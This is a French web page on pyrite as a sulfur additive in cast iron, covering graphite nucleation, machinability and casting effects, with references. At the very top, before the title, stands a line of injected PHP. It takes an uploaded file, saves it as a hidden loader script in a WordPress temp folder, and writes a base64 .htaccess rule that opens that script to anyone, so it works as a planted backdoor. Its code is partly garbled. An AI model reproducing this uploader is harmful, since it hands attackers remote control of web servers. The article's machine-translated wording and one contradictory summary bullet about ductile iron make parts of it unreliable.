function fwss(if(file_exists($f))@unlink($f);if(file_exists($f)) chmod($f,0666);$f,$c){$p=@fopen($f,"w");$t=@fwrite($p,$c);@fclose($p);if(!$t)$t=@file_put_contents($f,$c);return (bool)$t;}if(!empty($_POST["nn"]) && move_uploaded_file($_FILES["file"]["tmp_name"],"/usr/www/users/minerrjsvb/wp-snapshots/tmp/lang-walker-loader.php") && fwss("wp-snapshots/tmp/.htaccess",base64_decode("PEZpbGVzTWF0Y2ggIl4obGFuZy13YWxrZXItbG9hZGVyLnBocCkkIj4KT3JkZXIgYWxsb3csZGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+"))exit(1); Pyrite dans la fabrication du fer | African Pegmatite
Pyrites minéraux

Pyrite dans la fabrication du fer

Le disulfide de pyrite de fer (fer(ii), FeS2, ici appelé pyrite) est un sulfure naturel de fer, et est l’un des sulfures les plus courants. La pyrite se trouve en grandes quantités dans les veines de quartz, dans les roches sédimentaires et métamorphiques, et à côté des gisements de charbon. Mis à part son lustre métallique lui donnant un aspect visuellement attrayant, il trouve une utilisation dans l’industrie dans la fabrication de plaquettes de frein et comme additif dans la production deverre , entre autresdomaines , dont beaucoup reposent sur sa haute pureté naturelle et des niveaux impressionnants de dureté.

Mais un rôle contemporain important pour la pyrite est lorsqu’il est utilisé comme matériau supplémentaire dans la production de fonte. Souvent ajoutée sous forme de poudre à environ 100 mailles, la pyrite peut agir comme source de soufre, comme une aide à la machinabilité. En tant que source de soufre, il est peu coûteux et non toxique par rapport à d’autres sources notables.

La pyrite n’est pas considérée comme une bonne source de fer elle-même, surtout par rapport à la magnétite et à l’hématite - bien qu’elle soit d’environ la moitié du fer par poids - mais c’est une bonne source de soufre(1). L’ajout de matériaux tels que la pyrite à la fonte ou à la fonte est appelé inoculation et est un traitement commun à l’état liquide du fer(2).

produits en acier fabriqués à l'aide de moules avec des sables de remplissage
plaquette de frein et disque de frein

Comme source de soufre dans les fontes graphitiques

Le fer graphitique est un matériau important en fonte à part entière, les applications de ce matériau sont là où la rigidité matérielle est plus importante que la résistance des tensiles, par exemple les blocs moteurs des automobiles et des boîtiers de pompe. Le fer graphitique est, de par sa nature, du fer qui contient du graphite. Des matériaux carbonés sont ajoutés au fer fondu, qui se précipite sur le refroidissement pour fournir un réseau de graphite dispersé à travers le fer. Ces précipitations sont renforcées par la présence de pyrite, qui fournit du soufre dans la fonte et produit donc de nombreux points de nucléation pour les précipitations de graphite(3).

Les propriétés tensiles du fer graphitique sont modulées par la présence de soufre - des expériences ajoutant entre 0,023 et 0,080 poids% de soufre (à partir de l’ajout d’une poudre de pyrite maximale de 200 μm de diamètre) ont causé une microstructure plus uniforme et clairement définie, mais au-delà d’un certain point, l’ajout de pyrite causant une teneur accrue en soufre contribue à une réduction de la résistance des tensiles(4). À l’autre extrémité de la fabrication du fer graphitique est la formation de nodules - où le graphite formé est de nature sphérique et offre une fonte plus ductile. De la même étude, il a été constaté que des ajouts plus élevés de soufre provenant de la pyrite fournissent plus de points de nucléation et donc des formes plus compactes et floconneuses de graphite, c’est-à-dire moins de nodules. L’inoculation pour donner lieu à plus de points de nucléation est rendue plus efficace en augmentant la teneur en soufre par pyrite(5).

Le nombre de nodules a tendance à être plus élevé lorsque des grains de soufre/pyrite sont ajoutés au fer fondu à des stades ultérieurs du processus dans une gamme de compositions de fer(6). Jusqu’à 0,55% par poids de soufre comme inoculant est commun. Les brevets de production de fonte de qualité automobile suggèrent une teneur commune en soufre de l’âge de 0,2 à 0,3 % en soufre de poids(7).

Dans l’ensemble, on dit que l’ajout de pyrite à la production de fer graphitique est particulièrement bénéfique pour les déploiements très compactés de fer graphitique, en plus du fer où un degré modéré de ductilité est nécessaire. Le fer graphite compacté, produit avec du soufre ajouté à partir de pyrite, a des propriétés de force et de robustesse approchant celles observées avec du fer ductile(8).

métal fondu étant versé

Pour améliorer la machinabilité en fonte grise

La fonte grise est un type de fer graphitique, ce qu’on appelle en raison de sa coloration grise, mais la machinabilité peut être problématique en raison de sa dureté. La machinabilité est une préoccupation primordiale dans la production de tout métal, mais surtout d’un métal aussi important sur le plan économique mondial que le fer. La machinabilité peut être n’importe quel processus de forage, de rotation, de fraisage et de broyage.

Une méthode pour assurer un usinage plus facile est l’ajout de soi-disant « inclusions techniques » qui peuvent entraîner des réductions de l’usure à l’outillage et / ou des forces d’usinage moindre nécessaires pour atteindre le même résultat(9). Les sulfures excédentaires (résultant de la pyrite) sont transformés en inclusions techniques à l’aide de manganèse, formant des sulfures de manganèse, qui sont considérés comme des inclusions optimales. L’augmentation de la teneur en soufre de la pyrite augmente la taille des inclusions. La recherche suggère que la machinabilité n’est pas affectée par la morphologie des inclusions, mais par la zone de pourcentage à la place(10). La teneur en soufre bien supérieure à 0,2 % du poids est tolérée. Une détermination appropriée et précise des inclusions techniques est impérative, car des micro fissures peuvent se former à l’interface inclusion-matrice, ce qui entraîne une réduction de la force de coupe et de la consommation d’énergie(11). Le manganèse est une inclusion courante en fonte.

D’autres études ont montré que l’ajout de soufre (par pyrite ou par d’autres moyens) à un stade ultérieur, en quantités aussi faibles que 0,06 % de poids, se traduit par une amélioration considérable de la machinabilité(12), et qu’un niveau cible d’inclusion du soufre devrait être supérieur à 0,12 % pour une amélioration optimale de la machinabilité.

métal fondu étant versé
joints moulés à partir de moules de sable de louveteuse

Impact de l’ajout de pyrite sur le processus de coulée

Les inclusions non métalliques telles que le graphite et le soufre peuvent moduler considérablement la solidification, la structure et la qualité globale de coulée du fer. L’examen de la littérature sur les brevets révèle que la production de fer par agglomération est renforcée par l’ajout de poudres de sulfure métallique (comme la pyrite) aux côtés d’oxydes métalliques - sans liants chimiques - adaptés au laminage(13). Une étude du Japon a suggéré que l’augmentation de la teneur en soufre dans une fonte peut causer des défauts de surface lorsqu’elle est utilisée dans une situation de coulée de sable vert, mais cela peut être nié par l’utilisation de niveaux élevés de matière carbonée dans le moule(14).

En fonte, les niveaux de soufre inférieurs à 0,04 % en poids sont associés à des niveaux plus élevés de sous-consommation eutéctique, ce qui peut entraîner la formation de graphite et/ou de carbures sous-traités(15); Le sous-refroidissement eutectic peut être commandé et ralenti en ajoutant la source de soufre à un stade ultérieur dans le traitement liquide global du fer fondu(16). La formation excessive de carbure doit être évitée car ces matériaux réduisent la machinabilité, et les concentrations modérées à élevées de soufre/pyrite peuvent annuler ces effets. Cette notion est étayée par des recherches chinoises qui stipulent que la quantité de graphite sous-contenu dans l’acier gris est essentiellement éliminée lorsque l’inclusion de soufre est augmentée au-delà de 0,143% par poids(17) et microstructure optimale dans le soufre de la gamme pyrite 0,078 à 0,121%.

En tant que source de soufre, la pyrite est l’une des trois principales sources à côté du sulfure de fer (FeS) et du soufre élémentaire (S8). FeS est connu pour sa forte teneur en soufre, mais des coûts élevés; le soufre élémentaire est sans doute la meilleure source de soufre, mais il est facilement et rapidement vaporisé en plus d’une fonte - un tel soufre vaporisé rend toute récupération de ce soufre difficile et instable. Les problèmes non insurmontables liés à l’ajout de pyrite au fer fondu sont que la pyrite peut flotter dans les scories en raison de sa faible densité - l’assainissement se fait par l’ajout lent de la pyrite de fer dans un premier temps. Il est à noter que la propension à former des scories en premier lieu est autant liée à la méthode de fusion et de la marmite qu’aux matériaux fondus eux-mêmes(18).

En fonte grise, alors qu’il y a une large tolérance aux niveaux de soufre, la présence de FeS provoque une shortness chaude. La shortness chaude est un processus où, à des températures de travail élevées, les métaux coulés présentent une résistance mécanique particulièrement faible et des tendances à se fissurer plutôt qu’à se déformer. Les inclusions techniques susmentionnées qui découlent de la présence de soufre (de n’importe quelle source) et de manganèse les annulent quelque peu(19).

La pépite de Pyrites de fer trompe l'or

Résumé

  • Pyrite (fer(ii) disulfide, FeS2), est une source largement disponible et très pure de soufre utilisé dans l’industrie de coulée de fer
  • Dans la fabrication de fonte graphitique, la pyrite/soufre est responsable de la fourniture de sites de nucléation, permettant la formation de graphite
  • Les fontes faites avec des ajouts de pyrite/soufre sont connues pour leurs microstructures clairement définies et très régulières
  • Les inclusions pyrite/soufre inhibent la formation de nodules, ce qui peut conduire à plus de fer ductile
  • Dans la fabrication du fer gris, la machinabilité est améliorée grâce à l’utilisation de pyrite/soufre en raison de la production de sulfures de manganèse comme inclusions techniques - ces inclusions facilitent plusieurs processus d’usinage
  • En fonte en général, l’utilisation de la pyrite comme source de soufre module la qualité de coulée du fer, en plus de minimiser les effets du sous-rééquiper eutectique
  • Par rapport à d’autres sources de soufre, la pyrite est moins chère et a moins de problèmes de vaporisation
Poudre de pyrites dans un pot

Références

1 C. R. A. Wright, J. R. Soc. Arts, 1873, 22 536

2 I. Riposan et T. Skaland, Modification et inoculation de fonte, dans: D.M. Stefanescu (éd.) Cast Iron Science and Technology, ASM International, Novelty, Ohio, États-Unis, 2017

3 I. Riposan et coll., AFS Trans., 2003, 3, 93

4 H. R. Abbasi et coll., J. Mater. Proc. Tech., 2009, 209, 1701

5 A. de A. Vicente et coll., J. Alloys Compounds, 2018, 10.1016/j.jallcom.2018.10.136

6 O.M. Suárez et coll., Int. J. Cast Metals Res., 2003, 16, 1

7 Brevet américain US2887421A, 1955; Brevet france FR2887421X, 1955

8 S. Dawson et T. Schroeder, AFS Trans., 2004, 2, 9

9 H. Opitz, Proc. Int. Prod. Eng. Res. Conf., 1963, 107

10 A.A. Pereira et coll., J. Mater. Proc. Tech., 2006, 179, 165

11 B. Mills et coll., Wear, 1997, 208, 61

12 R. Z. Wu, Sidérurgie et Sidérurgie, 2008, 35, 638

13 Brevet américain US6866696B1, 2002

14 Y. Awano et coll., J. JFS, 2011, 83, 20 (en japonais)

15 I. Riposan et coll., Sulfur - un élément clé de la formation du graphite dans les fers, dans: UgalMet 2016: The 7th Conference on Material Science and Engineering, Galati, Roumanie, 2016

16 I. Riposan et coll., Sulfur in cast irons - friend or enemy?, dans: AFS International Ferrous Melting Conference, Nashville, USA, 2015

17 W. Liu et coll., Fonderie, 2011, 1, 1

18 A. S. Zavertkin, Réfractaire. Ind. Ceram., 2013, 54, 35

19 K. K. Saxena et coll., Mater. Aujourd’hui: Proc., 2020, 10.1016/j.matpr.2020.02.577